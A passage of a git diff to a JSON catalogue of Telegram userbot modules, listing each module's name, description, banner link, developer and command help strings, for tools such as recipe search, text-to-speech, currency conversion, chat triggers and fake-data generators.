FOR TG PREMIUM]\nЭтот модуль создан чтобы не рыскать миллиарды стикерпаков. \nПример использования:\nПривет BloodTrail", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/dorotorothequickend/DorotoroModules/main/banners/DorotoroEMJviaTEXT.png", - "developer": "@DorotoroMods" - }, - "commands": [ - { - "emjviatext": "- включить/выключить автозамену текста на эмодзи." - }, - { - "emjlist": "- список эмодзи." - } - ], - "new_commands": [ - { - "emjviatext": { - "ru_doc": null, - "en_doc": null, - "doc": "- включить/выключить автозамену текста на эмодзи." - } - }, - { - "emjlist": { - "ru_doc": null, - "en_doc": null, - "doc": "- список эмодзи." - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "dorotorothequickend/DorotoroModules/FoodRecipe.py": { - "name": "FoodRecipe", - "description": "Ищет рецепт блюда по его названию.", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/dorotorothequickend/DorotoroModules/main/banners/DorotoroFoodRecipe.png", - "developer": "@DorotoroMods" - }, - "commands": [ - { - "foodrecipecmd": "<название блюда> - найти рецепт блюда." - } - ], - "new_commands": [ - { - "foodrecipe": { - "ru_doc": null, - "en_doc": null, - "doc": "<название блюда> - найти рецепт блюда." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, "dorotorothequickend/DorotoroModules/InlineTTS.py": { "name": "InlineTTS", "description": "Синтезирует текст в голос ваших любимых героев!Пример использования: .atts arthas Привет", @@ -2481,112 +15291,31 @@ "Info" ] }, - "dorotorothequickend/DorotoroModules/CringePhrases.py": { - "name": "CringePhrases", - "description": "Отправляет случайную мега-кринж фразу.", + "dorotorothequickend/DorotoroModules/ExcuseGenerator.py": { + "name": "ExcuseGeneratorMod", + "description": "Ваш преданный помощник!", "meta": { "pic": null, - "banner": "https://raw.githubusercontent.com/dorotorothequickend/DorotoroModules/main/banners/DorotoroCringePhrases.png", + "banner": "https://raw.githubusercontent.com/dorotorothequickend/DorotoroModules/main/banners/DorotoroExcuseGenerator.png", "developer": "@DorotoroMods" }, "commands": [ { - "cringephrase": "- фраза, от которой ваш собеседник будет испытывать мега-супер-пупер кринж." + "excuse": "<имя> - генерирует отмазку." } ], "new_commands": [ { - "cringephrase": { + "excuse": { "ru_doc": null, "en_doc": null, - "doc": "- фраза, от которой ваш собеседник будет испытывать мега-супер-пупер кринж." + "doc": "<имя> - генерирует отмазку." } } ], "category": [ - "Tools", - "Chat" - ] - }, - "dorotorothequickend/DorotoroModules/AccountDeleter.py": { - "name": "AccountDeleter", - "description": null, - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/dorotorothequickend/DorotoroModules/main/banners/DorotoroAccountDeleter.png", - "developer": "@DorotoroMods" - }, - "commands": [ - { - "delacc": "- удаляет ваш аккаунт (просто меняет вашу аватарку и ник)." - } - ], - "new_commands": [ - { - "delacc": { - "ru_doc": null, - "en_doc": null, - "doc": "- удаляет ваш аккаунт (просто меняет вашу аватарку и ник)." - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "dorotorothequickend/DorotoroModules/AutoEdit.py": { - "name": "AutoEdit", - "description": "Редактирует каждое ваше сообщение в определенное время на выбранный вами текст.\nНастройка через .config AutoEdit", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/dorotorothequickend/DorotoroModules/main/banners/DorotoroAutoEdit.png", - "developer": "@DorotoroMods" - }, - "commands": [ - { - "autoedit": "- включить/выключить AutoEdit." - } - ], - "new_commands": [ - { - "autoedit": { - "ru_doc": null, - "en_doc": null, - "doc": "- включить/выключить AutoEdit." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "dorotorothequickend/DorotoroModules/PasswordGenerator.py": { - "name": "passwordgeneratormod", - "description": "Ваш персональный генератор паролей.", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/dorotorothequickend/DorotoroModules/main/banners/DorotoroPasswordGenerator.png", - "developer": "@DorotoroMods" - }, - "commands": [ - { - "gnrtpass": "<кол-во символов> - генерировать пароль" - } - ], - "new_commands": [ - { - "gnrtpass": { - "ru_doc": null, - "en_doc": null, - "doc": "<кол-во символов> - генерировать пароль" - } - } - ], - "category": [ - "Tools", - "Chat" + "Fun", + "Social" ] }, "dorotorothequickend/DorotoroModules/01code.py": { @@ -2626,6 +15355,33 @@ "Chat" ] }, + "dorotorothequickend/DorotoroModules/FoodRecipe.py": { + "name": "FoodRecipe", + "description": "Ищет рецепт блюда по его названию.", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/dorotorothequickend/DorotoroModules/main/banners/DorotoroFoodRecipe.png", + "developer": "@DorotoroMods" + }, + "commands": [ + { + "foodrecipecmd": "<название блюда> - найти рецепт блюда." + } + ], + "new_commands": [ + { + "foodrecipe": { + "ru_doc": null, + "en_doc": null, + "doc": "<название блюда> - найти рецепт блюда." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, "dorotorothequickend/DorotoroModules/SimpleRolePlay.py": { "name": "SimpleRolePlay", "description": "Базовые команды для текстовых ролевых игр.", @@ -2683,192 +15439,31 @@ "Chat" ] }, - "dorotorothequickend/DorotoroModules/RandomHuman.py": { - "name": "RandomHuman", - "description": "Отправляет рандомное имя, фамилию, дату рождения, email, пароль и телефон.", + "dorotorothequickend/DorotoroModules/CheckSpamBan.py": { + "name": "SpamBanCheckMod", + "description": "Check spam ban for your account.", "meta": { "pic": null, - "banner": "https://raw.githubusercontent.com/dorotorothequickend/DorotoroModules/main/banners/DorotoroGenerateHuman.png", - "developer": "@DorotoroMods" + "banner": "https://raw.githubusercontent.com/dorotorothequickend/DorotoroModules/main/banners/DorotoroCheckSpamBan.png", + "developer": "@DorotoroMods & @AstroModules" }, "commands": [ { - "generatehumancmd": "- сгенерировать человека." - }, - { - "generatepasscmd": "- сгенерировать паспорт." - }, - { - "generateschlcmd": "- сгенерировать инф-цию об образовании." - }, - { - "generatedocscmd": "- сгенерировать документы." - }, - { - "generateauto": "- сгенерировать инф-цию об авто." - }, - { - "generatebank": "- сгенерировать платежную инф-цию." + "spamban": "- проверяет ваш аккаунт на наличие спам-бана через бота @SpamBot." } ], "new_commands": [ { - "generatehuman": { + "spamban": { "ru_doc": null, "en_doc": null, - "doc": "- сгенерировать человека." - } - }, - { - "generatepass": { - "ru_doc": null, - "en_doc": null, - "doc": "- сгенерировать паспорт." - } - }, - { - "generateschl": { - "ru_doc": null, - "en_doc": null, - "doc": "- сгенерировать инф-цию об образовании." - } - }, - { - "generatedocs": { - "ru_doc": null, - "en_doc": null, - "doc": "- сгенерировать документы." - } - }, - { - "generateauto": { - "ru_doc": null, - "en_doc": null, - "doc": "- сгенерировать инф-цию об авто." - } - }, - { - "generatebank": { - "ru_doc": null, - "en_doc": null, - "doc": "- сгенерировать платежную инф-цию." + "doc": "- проверяет ваш аккаунт на наличие спам-бана через бота @SpamBot." } } ], "category": [ "Tools", - "Social" - ] - }, - "dorotorothequickend/DorotoroModules/LessonHelper.py": { - "name": "LessonHelper", - "description": "Ваш личный репетитор!", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/dorotorothequickend/DorotoroModules/main/banners/DorotoroLessonHelper.png", - "developer": "@DorotoroMods" - }, - "commands": [ - { - "mathformcmd": "<формула/list> - базовые формулы по алгебре и геометрии.\n\nЧтобы посмотреть список формул и теорем введите:\n.mathform list" - }, - { - "physformcmd": "<формула/list> - базовые формулы по физике.\n\nЧтобы посмотреть список формул и теорем введите:\n.physform list" - }, - { - "rusformcmd": "<орфограмма/правило/list> - базовые правила и орфограммы по русскому языку. Будет пополняться.\n\nЧтобы узнать список доступных правил и орфограмм, введите:\n.rusform list" - } - ], - "new_commands": [ - { - "mathform": { - "ru_doc": null, - "en_doc": null, - "doc": "<формула/list> - базовые формулы по алгебре и геометрии.\n\nЧтобы посмотреть список формул и теорем введите:\n.mathform list" - } - }, - { - "physform": { - "ru_doc": null, - "en_doc": null, - "doc": "<формула/list> - базовые формулы по физике.\n\nЧтобы посмотреть список формул и теорем введите:\n.physform list" - } - }, - { - "rusform": { - "ru_doc": null, - "en_doc": null, - "doc": "<орфограмма/правило/list> - базовые правила и орфограммы по русскому языку. Будет пополняться.\n\nЧтобы узнать список доступных правил и орфограмм, введите:\n.rusform list" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "dorotorothequickend/DorotoroModules/FkinRickRoll.py": { - "name": "FuckingRickRoll", - "description": "Лучший способ зарикроллить собеседника.", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/dorotorothequickend/DorotoroModules/main/banners/DorotoroFkinRickRoll.png", - "developer": "@DorotoroMods" - }, - "commands": [ - { - "rickvid": "- стандартный RickRoll." - }, - { - "rickbait": "- отправляет видео с океаном, в конце которого вашего собеседника ждет RickRoll." - } - ], - "new_commands": [ - { - "rickvid": { - "ru_doc": null, - "en_doc": null, - "doc": "- стандартный RickRoll." - } - }, - { - "rickbait": { - "ru_doc": null, - "en_doc": null, - "doc": "- отправляет видео с океаном, в конце которого вашего собеседника ждет RickRoll." - } - } - ], - "category": [ - "Tools", - "Media" - ] - }, - "dorotorothequickend/DorotoroModules/RandomJumoreska.py": { - "name": "RandomJumoreska", - "description": "Отправляет случайную юмореску.", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/dorotorothequickend/DorotoroModules/main/banners/DorotoroRandomJumoreska.png", - "developer": "@DorotoroMods" - }, - "commands": [ - { - "rndmjumoreska": "- выдать рандомную юмореску." - } - ], - "new_commands": [ - { - "rndmjumoreska": { - "ru_doc": null, - "en_doc": null, - "doc": "- выдать рандомную юмореску." - } - } - ], - "category": [ - "Fun", - "Tools" + "Chat" ] }, "dorotorothequickend/DorotoroModules/WhataWord_.py": { @@ -2898,1998 +15493,270 @@ "Chat" ] }, - "Sad0ff/modules-ftg/jac.py": { - "name": "JacquesMod", - "description": "Жаконизатор", + "venv/lib/python3.9/site-packages/requests/exceptions.py": { + "name": "FileModeWarning", + "description": "A file was opened in text mode, but Requests determined its binary length.", "meta": { "pic": null, "banner": null }, - "commands": [ - { - "jcmd": ".j <реплай на сообщение/свой текст>\n@offsd подпишись-пожалеешь" - } - ], - "new_commands": [ - { - "j": { - "ru_doc": null, - "en_doc": null, - "doc": ".j <реплай на сообщение/свой текст>\n@offsd подпишись-пожалеешь" - } - } - ], + "commands": [], + "new_commands": [], "category": [ "Tools", "Chat" ] }, - "Sad0ff/modules-ftg/DownloadYT.py": { - "name": "DownloadYTMod", - "description": "DownloadYT", + "venv/lib/python3.9/site-packages/pkg_resources/__init__.py": { + "name": "_ZipLoaderModule", + "description": null, "meta": { "pic": null, "banner": null }, - "commands": [ - { - "dytcmd": "отправляет видеов чат по ссылке из ютуба\n@offsd подпишись-пожалеешь" - } - ], - "new_commands": [ - { - "dyt": { - "ru_doc": null, - "en_doc": null, - "doc": "отправляет видеов чат по ссылке из ютуба\n@offsd подпишись-пожалеешь" - } - } - ], - "category": [ - "Chat", - "Productivity" - ] - }, - "Sad0ff/modules-ftg/allwithvoice.py": { - "name": "allwithvoiceMod", - "description": "Перевод текста в гс и наоборот", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "vwcmd": ".vw <reply>\nчтобы все работало как я задумывал, смените голос (если хотите) на женский у @Maksobot\n@offsd подпишись-пожалеешь" - }, - { - "vmcmd": ".vm <reply>" - }, - { - "tcmd": ".t <reply on voice>\nчтобы оно работало, включите в боте тихий режим командой /silent" - } - ], - "new_commands": [ - { - "vw": { - "ru_doc": null, - "en_doc": null, - "doc": ".vw <reply>\nчтобы все работало как я задумывал, смените голос (если хотите) на женский у @Maksobot\n@offsd подпишись-пожалеешь" - } - }, - { - "vm": { - "ru_doc": null, - "en_doc": null, - "doc": ".vm <reply>" - } - }, - { - "t": { - "ru_doc": null, - "en_doc": null, - "doc": ".t <reply on voice>\nчтобы оно работало, включите в боте тихий режим командой /silent" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Sad0ff/modules-ftg/hitler.py": { - "name": "HitlerMod", - "description": "Hitler", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "hcmd": ".h <реплай на сообщение/свой текст>\n@offsd подпишись-пожалеешь" - } - ], - "new_commands": [ - { - "h": { - "ru_doc": null, - "en_doc": null, - "doc": ".h <реплай на сообщение/свой текст>\n@offsd подпишись-пожалеешь" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "sqlmerr/hikka_mods/autoforward.py": { - "name": "AutoForward", - "description": "Автоматически пересылает сообщения из каналов в один", - "meta": { - "pic": null, - "banner": null, - "developer": "@sqlmerr_m" - }, - "commands": [ - { - "autoforward": "- вкл/выкл модуля" - } - ], - "new_commands": [ - { - "autoforward": { - "ru_doc": null, - "en_doc": null, - "doc": "- вкл/выкл модуля" - } - } - ], - "category": [ - "Automation", - "Tools" - ] - }, - "sqlmerr/hikka_mods/addlinktosymbols.py": { - "name": "AddLinkToSymbols", - "description": "Add link to symbols in text", - "meta": { - "pic": null, - "banner": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/sqlmerrmodules_example.png?raw=true", - "developer": "@sqlmerr_m", - "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/addlinktosymbols.png?raw=true" - }, - "commands": [ - { - "addlinktosymbols": "[symbols] [link] [text or reply] Add link to symbols\n\nExample: .addlinktosymbols ah.e https://example.com hi hello. YOOOOOOO\nWrite characters without spaces. [символы] [ссылка] [текст или реплай] Добавить ссылку на символы\n\nПример: .addlinktosymbols ап.ев https://example.com привет. Еееее хай\nСимволы пишите без пробелов. " - } - ], - "new_commands": [ - { - "addlinktosymbols": { - "ru_doc": "[символы] [ссылка] [текст или реплай] Добавить ссылку на символы\n\nПример: .addlinktosymbols ап.ев https://example.com привет. Еееее хай\nСимволы пишите без пробелов. ", - "en_doc": null, - "doc": "[symbols] [link] [text or reply] Add link to symbols\n\nExample: .addlinktosymbols ah.e https://example.com hi hello. YOOOOOOO\nWrite characters without spaces." - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "sqlmerr/hikka_mods/random_emoji.py": { - "name": "RandomEmoji", - "description": "Just random emojis", - "meta": { - "pic": null, - "banner": "https://github.com/sqlmerr/sqlmerr/blob/main/assets/hikka_mods/sqlmerrmodules_randomemoji.png?raw=true", - "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/random_emoji.png?raw=true", - "developer": "@sqlmerr_m" - }, - "commands": [ - { - "random_emoji": "Random emoji" - } - ], - "new_commands": [ - { - "random_emoji": { - "ru_doc": null, - "en_doc": null, - "doc": "Random emoji" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "sqlmerr/hikka_mods/currencyconverter.py": { - "name": "CurrencyConverter", - "description": "Module for converting a large number of currencies to other currencies", - "meta": { - "pic": null, - "banner": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/banners/currencyconverter.png?raw=true", - "developer": "@sqlmerr_m", - "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/currencyconverter.png?raw=true" - }, - "commands": [ - { - "cconvert": "[from] [to] Convert currency to other currency [from] [to] Конвертировать одну валюту в другую" - } - ], - "new_commands": [ - { - "cconvert": { - "ru_doc": "[from] [to] Конвертировать одну валюту в другую", - "en_doc": null, - "doc": "[from] [to] Convert currency to other currency" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "sqlmerr/hikka_mods/FastChangeTgStatus.py": { - "name": "FCTS", - "description": "Change your status fast. Only for premium users | Изменяйте ваш статус быстро. Только для премиум пользователей", - "meta": { - "pic": null, - "banner": null, - "developer": "@sqlmerr_m", - "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/FastChangeTgStatus.png?raw=true" - }, - "commands": [ - { - "statuschange": "[status name] - set this status | .statuslist to view your downloaded statuses [имя статуса] - поставить этот статус | .statuslist для просмотра ваших установленных статусов" - }, - { - "statuslist": "See list of all your statuses Посмотреть список всех статусов" - }, - { - "statusadd": "[emoji] [short name] Add a custom status [эмодзи] [короткое имя] Добавить кастомный статус" - }, - { - "statusclear": "Clear all custom statuses Очистить все кастомные статусы" - } - ], - "new_commands": [ - { - "statuschange": { - "ru_doc": "[имя статуса] - поставить этот статус | .statuslist для просмотра ваших установленных статусов", - "en_doc": null, - "doc": "[status name] - set this status | .statuslist to view your downloaded statuses" - } - }, - { - "statuslist": { - "ru_doc": "Посмотреть список всех статусов", - "en_doc": null, - "doc": "See list of all your statuses" - } - }, - { - "statusadd": { - "ru_doc": "[эмодзи] [короткое имя] Добавить кастомный статус", - "en_doc": null, - "doc": "[emoji] [short name] Add a custom status" - } - }, - { - "statusclear": { - "ru_doc": "Очистить все кастомные статусы", - "en_doc": null, - "doc": "Clear all custom statuses" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "sqlmerr/hikka_mods/silentmessages.py": { - "name": "SilentMessages", - "description": "With this module you won't miss important messages sent without sound!", - "meta": { - "pic": null, - "banner": "https://github.com/sqlmerr/sqlmerr/blob/main/assets/hikka_mods/sqlmerrmodules_silentmessages.png?raw=true", - "developer": "@sqlmerr_m", - "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/silentmessages.png?raw=true" - }, - "commands": [ - { - "silentmessages": "toggle module status включить/выключить модуль" - } - ], - "new_commands": [ - { - "silentmessages": { - "ru_doc": "включить/выключить модуль", - "en_doc": null, - "doc": "toggle module status" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "sqlmerr/hikka_mods/autoformatter.py": { - "name": "AutoFormatter", - "description": "Automatically formats the text of your messages | Check The Config", - "meta": { - "pic": null, - "banner": "https://github.com/sqlmerr/sqlmerr/blob/main/assets/hikka_mods/sqlmerrmodules_autoformatter.png?raw=true", - "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/autoformatter.png?raw=true", - "developer": "@sqlmerr_m" - }, - "commands": [ - { - "watcher": "" - }, - { - "textformat": "Turn on/off The Module Включить/выключить модуль" - } - ], - "new_commands": [ - { - "watcher": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - }, - { - "textformat": { - "ru_doc": "Включить/выключить модуль", - "en_doc": null, - "doc": "Turn on/off The Module" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "sqlmerr/hikka_mods/triggers.py": { - "name": "Triggers", - "description": "Triggers watch chat messages and can do anything, reply to a message with a given text, delete a message, execute any userbot command. Overall, a very cool module", - "meta": { - "pic": null, - "banner": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/banners/triggers.png?raw=true", - "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/triggers.png?raw=true", - "developer": "@sqlmerr_m" - }, - "commands": [ - { - "triggeraddbase": "[text that the module will trigger on] <reply on the response text> - Add base trigger [текст, на который будет тригеррится модуль] <реплай на текст ответа> - Добавить базовый триггер" - }, - { - "triggeradd": "[trigger] - Add a trigger from raw data [триггер] - Добавить триггер из сырых данных" - }, - { - "triggers": "View all triggers Посмотреть все триггеры" - }, - { - "triggerchat": "Add chat, where triggers will work Добавить чат, где будут работать триггеры" - }, - { - "tconfig": "[optional: trigger id] - Triggers config. [необязятельно: айди триггера] - Конфиг модуля" - }, - { - "triggerdel": "[trigger's id] - Delete trigger [айди триггера] - Удалить триггер" - }, - { - "tcallback": "[callback_id: str] <reply to python code> - Add a callback that trigger can execute [айди колбека: str] <реплай на пайтон код> - Добавить колбек, который триггер сможет выполнить" - }, - { - "triggerget": "[trigger's id] - Get trigger [айди триггера] - Получить триггер" - }, - { - "triggerset": "[trigger's id] [edited trigger] - Edit trigger [айди триггера] [измененный триггер] - Изменить триггер" - }, - { - "triggerupdate": "[trigger's id] [path] [value] - Edit trigger [айди триггера] [путь] [значение] - Изменить одно значение триггера" - } - ], - "new_commands": [ - { - "triggeraddbase": { - "ru_doc": "[текст, на который будет тригеррится модуль] <реплай на текст ответа> - Добавить базовый триггер", - "en_doc": null, - "doc": "[text that the module will trigger on] <reply on the response text> - Add base trigger" - } - }, - { - "triggeradd": { - "ru_doc": "[триггер] - Добавить триггер из сырых данных", - "en_doc": null, - "doc": "[trigger] - Add a trigger from raw data" - } - }, - { - "triggers": { - "ru_doc": "Посмотреть все триггеры", - "en_doc": null, - "doc": "View all triggers" - } - }, - { - "triggerchat": { - "ru_doc": "Добавить чат, где будут работать триггеры", - "en_doc": null, - "doc": "Add chat, where triggers will work" - } - }, - { - "tconfig": { - "ru_doc": "[необязятельно: айди триггера] - Конфиг модуля", - "en_doc": null, - "doc": "[optional: trigger id] - Triggers config." - } - }, - { - "triggerdel": { - "ru_doc": "[айди триггера] - Удалить триггер", - "en_doc": null, - "doc": "[trigger's id] - Delete trigger" - } - }, - { - "tcallback": { - "ru_doc": "[айди колбека: str] <реплай на пайтон код> - Добавить колбек, который триггер сможет выполнить", - "en_doc": null, - "doc": "[callback_id: str] <reply to python code> - Add a callback that trigger can execute" - } - }, - { - "triggerget": { - "ru_doc": "[айди триггера] - Получить триггер", - "en_doc": null, - "doc": "[trigger's id] - Get trigger" - } - }, - { - "triggerset": { - "ru_doc": "[айди триггера] [измененный триггер] - Изменить триггер", - "en_doc": null, - "doc": "[trigger's id] [edited trigger] - Edit trigger" - } - }, - { - "triggerupdate": { - "ru_doc": "[айди триггера] [путь] [значение] - Изменить одно значение триггера", - "en_doc": null, - "doc": "[trigger's id] [path] [value] - Edit trigger" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "sqlmerr/hikka_mods/upgradedeval.py": { - "name": "UpgradedEval", - "description": "Just eval with customizable text and stdout", - "meta": { - "pic": null, - "banner": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/banners/upgradedeval.png?raw=true", - "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/upgradedeval.png?raw=true", - "developer": "@sqlmerr_m" - }, - "commands": [ - { - "ehistory": "Get history (since userbot restart) Получить историю (с рестарта юзербота)" - }, - { - "ie": "Upgraded eval Улучшенный eval" - }, - { - "erust": "Evaluate Rust code Запустить код на Rust" - }, - { - "ego": "Evaluate Go code Запустить код на Go" - }, - { - "ekt": "Evaluate Kotlin code Запустить код на Kotlin" - } - ], - "new_commands": [ - { - "ehistory": { - "ru_doc": "Получить историю (с рестарта юзербота)", - "en_doc": null, - "doc": "Get history (since userbot restart)" - } - }, - { - "ie": { - "ru_doc": "Улучшенный eval", - "en_doc": null, - "doc": "Upgraded eval" - } - }, - { - "erust": { - "ru_doc": "Запустить код на Rust", - "en_doc": null, - "doc": "Evaluate Rust code" - } - }, - { - "ego": { - "ru_doc": "Запустить код на Go", - "en_doc": null, - "doc": "Evaluate Go code" - } - }, - { - "ekt": { - "ru_doc": "Запустить код на Kotlin", - "en_doc": null, - "doc": "Evaluate Kotlin code" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "sqlmerr/hikka_mods/inlinetimer.py": { - "name": "InlineTimer", - "description": "Описание нашего модуля", - "meta": { - "pic": null, - "banner": "https://github.com/sqlmerr/sqlmerr/blob/main/assets/hikka_mods/sqlmerrmodules_inlinetimer.png?raw=true", - "developer": "@sqlmerr_m", - "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/inlinetimer.png?raw=true" - }, - "commands": [ - { - "timer": "Send timer отправить таймер" - } - ], - "new_commands": [ - { - "timer": { - "ru_doc": "отправить таймер", - "en_doc": null, - "doc": "Send timer" - } - } - ], - "category": [ - "Tools", - "Productivity" - ] - }, - "sqlmerr/hikka_mods/numbersfacts.py": { - "name": "NumbersFacts", - "description": "Interesting facts about numbers | Check the config", - "meta": { - "pic": null, - "banner": "https://github.com/sqlmerr/sqlmerr/blob/main/assets/hikka_mods/sqlmerrmodules_numberfacts.png?raw=true", - "developer": "@sqlmerr_m", - "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/numberfacts.png?raw=true" - }, - "commands": [ - { - "numberfact": "[number] - get fact about number [число] - получить факт об этом числе" - } - ], - "new_commands": [ - { - "numberfact": { - "ru_doc": "[число] - получить факт об этом числе", - "en_doc": null, - "doc": "[number] - get fact about number" - } - } - ], - "category": [ - "Tools", - "Admin" - ] - }, - "sqlmerr/hikka_mods/fakedata.py": { - "name": "FakeData", - "description": "Just fake data of persons and credit cards", - "meta": { - "pic": null, - "banner": "https://github.com/sqlmerr/sqlmerr/blob/main/assets/hikka_mods/sqlmerrmodules_fakedata.png?raw=true", - "developer": "@sqlmerr_m", - "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/fakedata.png?raw=true" - }, - "commands": [ - { - "fakedata": "[locale (for example: \"ru_RU\" for Russian or \"fr_FR\" for French)] - Get fake data about person and credit card [язык (к примеру: \"ru_RU\" для Русского или \"fr_FR\" для французского и т.д.)] - Получить фейковые данные человека и его кредитной карты" - } - ], - "new_commands": [ - { - "fakedata": { - "ru_doc": "[язык (к примеру: \"ru_RU\" для Русского или \"fr_FR\" для французского и т.д.)] - Получить фейковые данные человека и его кредитной карты", - "en_doc": null, - "doc": "[locale (for example: \"ru_RU\" for Russian or \"fr_FR\" for French)] - Get fake data about person and credit card" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "sqlmerr/hikka_mods/quicktools.py": { - "name": "QuickTools", - "description": "Module with various quick and useful tools", - "meta": { - "pic": null, - "banner": "https://github.com/sqlmerr/sqlmerr/blob/main/assets/hikka_mods/quicktools.png?raw=true", - "developer": "@sqlmerr_m", - "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/quicktools.png?raw=true" - }, - "commands": [ - { - "id": "<reply to message> Get user/chat/sender/replied message/message ID <реплай на сообщение> Получить айди пользователя/чата/отправителя/сообщения" - }, - { - "text": "<reply to message> Get replied message text <реплай на сообщение> Получить текст сообщения" - }, - { - "reply_markup": "<reply to message> Get replied message reply markup (buttons) <реплай на сообщение> Получить кнопки сообщения" - }, - { - "entity_link": "<bot api entity id> <use open message (optional)> - creates link to entity (chat/user)" - } - ], - "new_commands": [ - { - "id": { - "ru_doc": "<реплай на сообщение> Получить айди пользователя/чата/отправителя/сообщения", - "en_doc": null, - "doc": "<reply to message> Get user/chat/sender/replied message/message ID" - } - }, - { - "text": { - "ru_doc": "<реплай на сообщение> Получить текст сообщения", - "en_doc": null, - "doc": "<reply to message> Get replied message text" - } - }, - { - "reply_markup": { - "ru_doc": "<реплай на сообщение> Получить кнопки сообщения", - "en_doc": null, - "doc": "<reply to message> Get replied message reply markup (buttons)" - } - }, - { - "entity_link": { - "ru_doc": null, - "en_doc": null, - "doc": "<bot api entity id> <use open message (optional)> - creates link to entity (chat/user)" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "sqlmerr/hikka_mods/translation_manager.py": { - "name": "TranslationManager", - "description": "Module for managing external modules translations", - "meta": { - "pic": null, - "banner": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/banners/translation_manager.png?raw=true", - "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/translation_manager.png?raw=true", - "developer": "@sqlmerr_m" - }, - "commands": [ - { - "trget": "[mod] [lang] [key] - Get current translation [модуль] [язык] [ключ] - Получить перевод" - }, - { - "trset": "[mod] [lang] [key] [val] - Set translation [модуль] [язык] [ключ] [значение] - Изменить перевод" - }, - { - "trdel": "[mod] [lang] [key] - Delete custom translation [модуль] [язык] [ключ] - Удалить кастомный перевод" - } - ], - "new_commands": [ - { - "trget": { - "ru_doc": "[модуль] [язык] [ключ] - Получить перевод", - "en_doc": null, - "doc": "[mod] [lang] [key] - Get current translation" - } - }, - { - "trset": { - "ru_doc": "[модуль] [язык] [ключ] [значение] - Изменить перевод", - "en_doc": null, - "doc": "[mod] [lang] [key] [val] - Set translation" - } - }, - { - "trdel": { - "ru_doc": "[модуль] [язык] [ключ] - Удалить кастомный перевод", - "en_doc": null, - "doc": "[mod] [lang] [key] - Delete custom translation" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "sqlmerr/hikka_mods/codeformat.py": { - "name": "CodeFormat", - "description": "Format your code!", - "meta": { - "pic": null, - "banner": "https://github.com/sqlmerr/sqlmerr/blob/main/assets/hikka_mods/sqlmerrmodules_codeformat.png?raw=true", - "developer": "@sqlmerr_m" - }, - "commands": [ - { - "code": "" - } - ], - "new_commands": [ - { - "code": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "sqlmerr/hikka_mods/egsfreegames.py": { - "name": "EGSFreeGames", - "description": "Module for checking free games in Epic Games Store. Inline bot will send them every day in special chat", - "meta": { - "pic": null, - "banner": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/banners/egsfreegames.png?raw=true", - "developer": "@sqlmerr_m", - "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/egsfreegames.png?raw=true" - }, - "commands": [ - { - "egsgames": "Get free games links available in Epic Games Store Получить бесплатные игры доступные в Epic Games Store" - } - ], - "new_commands": [ - { - "egsgames": { - "ru_doc": "Получить бесплатные игры доступные в Epic Games Store", - "en_doc": null, - "doc": "Get free games links available in Epic Games Store" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "sqlmerr/hikka_mods/animatedprofile.py": { - "name": "AnimatedProfile", - "description": "Module for your profile animation (name, bio) look in the config", - "meta": { - "pic": null, - "banner": null, - "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/animatedprofile.png?raw=true", - "developer": "@sqlmerr_m" - }, - "commands": [ - { - "animatedname": "(aname) Turn on name animation (aname) Включить анимацию имени" - }, - { - "animatedbio": "(abio) Turn on bio animation (abio) Включить анимацию био" - }, - { - "stopanimatedname": "(stopaname) Turn off name animation (stopaname) Выключить анимацию имени" - }, - { - "stopanimatedbio": "(stopabio) 